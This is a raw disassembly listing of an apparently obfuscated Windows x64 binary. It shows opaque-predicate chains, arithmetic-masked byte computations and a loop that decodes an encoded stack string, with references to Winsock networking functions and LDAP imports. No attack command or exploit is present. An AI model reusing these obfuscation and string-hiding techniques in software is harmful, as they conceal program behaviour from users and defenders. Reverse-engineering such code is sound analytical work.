lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140129c36
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140129c77
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14012a532
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012a50f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14012a4c5
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14012a49f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14012a414
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14012a0b3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14012a09f
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14012a07d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14012a069
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14012a047
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14012a033
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14012a011
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140129ffd
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14012a63a
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14012a614
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140129e25
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140129dff
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140129ddd
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140129fe6
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140129f60
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140129f3a
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140129f18
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140129f04
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140129ee2
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140129ec0
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140129e9f
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x140129e7d
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140129e69
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140129e47
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140129c84
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x140129c84
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140129c77
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129c05
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140129b96
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x14012a564
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x14012a1f2
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14012a5ae
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14012a3e4
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x14012a5d0
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14012a5d3
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14012a423
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14012a469
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14012a5fd
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x14012a3c3
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14012a2bd
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x14012a3b6
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14012a564
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14012a0c5
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14012a423
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14012a5d3
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14012a4ae
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x14012a4e2
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x14012a51e
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14012a58c
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x14012a552
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14012a117
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14012a3ee
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14012a1af
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129f7d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14012a146
movabs rdx, 0x6f8f18d239722e68
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14012a5fd
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14012a163
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14012a423
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14012a18e
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14012a5d3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14012a0d4
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14012a51e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14012a1da
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14012a564
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14012a209
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14012a58c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14012a234
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14012a5d0
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14012a25f
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14012a435
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14012a28e
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14012a469
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140129f7d
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14012a5fd
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14012a2da
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140129f49
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14012a2f7
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14012a423
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14012a314
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14012a4ae
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14012a33f
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14012a4e2
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14012a36a
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x14012a5ae
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14012a387
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14012a1f2
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140129fb4
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14012a564
mov byte [rbp + r9 + 0x8a0], bl
jmp 0x14012a60c
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x8a0]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x14012a4e2
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x8a0]
jmp 0x14012a430
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x8a0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x8a0], cl
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14012a5fd
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14012a5d0
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8a0], cl
jmp 0x14012a5d0
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14012a5ae
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14012a552
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8a0], cl
add r10, r12
jmp 0x14012a5ae
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r12
jmp 0x14012a60c
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012a60c
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x8a0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140129b83
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140129b80
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140129b70
lea rdx, [rbp + 0x16f0fd0]
jmp 0x14012a675
lea rdx, [rbp + 0x68a334]
jmp 0x14012a675
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp - 0x20]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x2160]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14012a6a4
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2160]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2160]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2160]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x5f0], 0xcb
mov byte [rbp + 0x5f1], Ordinal_143
mov byte [rbp + 0x5f2], 0xac
mov byte [rbp + 0x5f3], 0xf3
mov byte [rbp + 0x5f4], Ordinal_79
mov byte [rbp + 0x5f5], 0xf1
mov byte [rbp + 0x5f6], WSACleanup
mov byte [rbp + 0x5f7], 0xf7
mov byte [rbp + 0x5f8], 0x55
mov byte [rbp + 0x5f9], 0xf5
mov byte [rbp + 0x5fa], 0xa2
mov byte [rbp + 0x5fb], 0xfb
mov byte [rbp + 0x5fc], 0x66
mov byte [rbp + 0x5fd], 0xf9
mov byte [rbp + 0x5fe], 0x55
mov byte [rbp + 0x5ff], 0xff
mov byte [rbp + 0x600], 0x59
mov byte [rbp + 0x601], 0xfd
mov byte [rbp + 0x602], WSACleanup
mov byte [rbp + 0x603], 0xe3
mov byte [rbp + 0x604], 0x47
mov byte [rbp + 0x605], 0xe1
mov byte [rbp + 0x606], Ordinal_79
mov byte [rbp + 0x607], 0xe7
mov byte [rbp + 0x608], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x609], 0xe5
mov byte [rbp + 0x60a], 0x42
mov byte [rbp + 0x60b], 0xeb
mov byte [rbp + 0x60c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x60d], 0xe9
mov byte [rbp + 0x60e], 0x40
mov byte [rbp + 0x60f], 0xef
mov byte [rbp + 0x610], 0xb8
mov byte [rbp + 0x611], 0xed
mov byte [rbp + 0x612], 0x87
mov byte [rbp + 0x613], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x614], 0x44
mov byte [rbp + 0x615], Ordinal_211
mov byte [rbp + 0x616], 0x40
mov byte [rbp + 0x617], Ordinal_217
mov byte [rbp + 0x618], 0x81
mov byte [rbp + 0x619], Ordinal_217
mov byte [rbp + 0x61a], 0x7e
mov byte [rbp + 0x61b], 0xdb
mov byte [rbp + 0x61c], 0x7c
mov byte [rbp + 0x61d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x61e], WSACleanup
mov byte [rbp + 0x61f], 0xdf
mov byte [rbp + 0x620], Ordinal_143
mov byte [rbp + 0x621], 0xdd
mov byte [rbp + 0x622], 0x64
mov byte [rbp + 0x623], Ordinal_200
mov byte [rbp + 0x624], WSAGetLastError
mov byte [rbp + 0x625], 0xc1
mov byte [rbp + 0x626], 0x54
mov byte [rbp + 0x627], Ordinal_200
mov byte [rbp + 0x628], Ordinal_200
mov byte [rbp + 0x629], Ordinal_200
xor eax, eax
mov dword [rbp + 0x62a], eax
mov word [rbp + 0x62e], ax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x40
jae 0x14012b49b
movzx r8d, byte [rbp + r9 + 0x5f0]
mov r11, r8
cmp rbx, r9
ja 0x14012b492
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012a8ea
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x32
jmp 0x14012a924
je 0x14012b402
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012b3aa
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012b353
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14012b329
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012b2e0
cmp r10, r9
ja 0x14012b489
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x14012a956
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x14012a98a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012b2c0
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012b29d
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012b26c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012b24e
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14012af2d
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14012af0a
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14012aef6
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14012aed3
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14012aeac
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012ae89
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14012ae66
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x14012ae52
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14012ae2f
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012ae08
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14012a997
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x14012b462
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x14012b43b
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x14012ab96
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14012ab6f
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14012ab4c
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x14012ad6c
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x14012ad5b
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14012ad0c
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14012acdf
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14012a997
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14012accb
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14012aca8
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14012ac85
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x14012ac5e
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14012ac3b
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14012ac27
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14012ac04
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14012abe0
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14012abb9
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14012a997
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x14012a997
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x26
jmp 0x14012a98a
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012a924
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
jmp 0x14012a8b2
movabs rdx, 0x310883614d4884b0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b300
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x14012b324
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14012b34b
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14012aebb
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x14012b21a
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b28a
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14012b374
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x14012b3cf
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14012ae17
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r9 + 0x5f0], dil
jmp 0x14012b433
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
cmp r10, 0x1000
jb 0x14012acff
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14012b300
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14012adb8
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r10 + rbx]
cmp rax, 6
je 0x14012b21f
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14012b032
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x40
jae 0x14012b1c6
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x14012b103
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14012ad2a
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b424
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14012b3cf
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14012b25d
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14012b28a
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x14012b21a
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b1ef
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x14012b34b
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14012b01a
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14012b300
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x14012af59
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x14012ad8e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012af85
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x14012b424
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012afa2
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x14012b25d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012afd2
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b21a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012affe
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14012b1ef
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012ad8e
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b324
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012b05e
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
jmp 0x14012b2fd
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012b08a
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x14012b1ef
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012b0a7
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14012afba
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012b0d3
